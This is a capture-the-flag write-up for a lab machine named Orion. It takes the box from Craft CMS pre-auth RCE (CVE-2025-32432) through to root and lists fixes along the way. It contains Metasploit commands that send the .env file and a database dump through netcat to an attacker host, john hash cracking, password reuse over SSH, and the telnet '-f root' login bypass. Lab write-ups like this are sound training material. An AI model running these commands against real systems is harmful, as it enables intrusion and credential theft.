Orion
Summary
I scanned orion.htb and found only SSH and an HTTP server. Browsing to the orion.htb virtual host exposed a Craft CMS installation running a version vulnerable to pre-authentication remote code execution (CVE-2025-32432). Exploiting this flaw via a Metasploit module and blind out-of-band exfiltration, my first extracted the application .env configuration file — revealing database credentials and confirming the site ran in development mode — then used those credentials to dump the CMS database and recover a bcrypt password hash.
Offline cracking produced the plaintext password '[REDACTED: recovered credential]', which had been reused as the SSH password for the local OS account 'adam', granting an interactive shell and the user flag. From that foothold, I discovered a telnet daemon bound to localhost only; the daemon was vulnerable to a classic BSD login argument-injection bypass in which supplying '-f root' as the telnet username causes the login binary to skip password verification, yielding an unauthenticated root shell and full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -p- --min-rate 3000 -T4 $TARGETecho "$TARGET orion.htb" | sudo tee -a /etc/hostscurl -sS --max-time 10 http://orion.htb/admin/login -I | grep -i 'Powered-By\|Server'Exact commands 2
msfconsole -q -x "search cve:2025-32432"nc -lvnp 8002FixPatch Craft CMS to version 5.6.17 or later to close CVE-2025-32432Critical
Exact commands 2
nc -lvnp 8003 > loot.envmsfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; set RHOSTS $TARGET; set VHOST orion.htb; set TARGET 'PHP In-Memory'; set payload php/exec; set AutoCheck false; set ASSET_ID 1; set CMD 'cat /var/www/html/craft/.env | nc $ATTACKER_IP 8003'; exploit"Exact commands 3
nc -lvnp 8004 > loot.sqlmsfconsole -q -x "use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432; set RHOSTS $TARGET; set VHOST orion.htb; set TARGET 'PHP In-Memory'; set payload php/exec; set AutoCheck false; set ASSET_ID 1; set CMD 'mysqldump -u<DB_USER> -p<DB_PASS> <DB_NAME> | nc $ATTACKER_IP 8004'; exploit"grep -oP '\$2y\$\d+\$[./A-Za-z0-9]+' loot.sql | head -1 > hash.txtFixDisable development mode and restrict access to the .env configuration fileHigh
Exact commands 2
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txtjohn --show hash.txtFixEnforce strong, unique passwords and disable SSH password authenticationHigh
Exact commands 2
ssh adam@$TARGETcat /home/adam/user.txtExact commands 1
ss -ltnp | grep ':23'Exact commands 2
ssh -tt adam@$TARGET "(sleep 1; echo id; sleep 1; echo whoami; sleep 1; echo 'cat /root/root.txt'; sleep 1; echo exit) | telnet 127.0.0.1 -l '-f root'"cat /root/root.txtFixRemove the locally-bound telnet service to eliminate the unauthenticated root escalation pathCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
Exposed services
| 22/tcp | ssh |
| 80/tcp | http |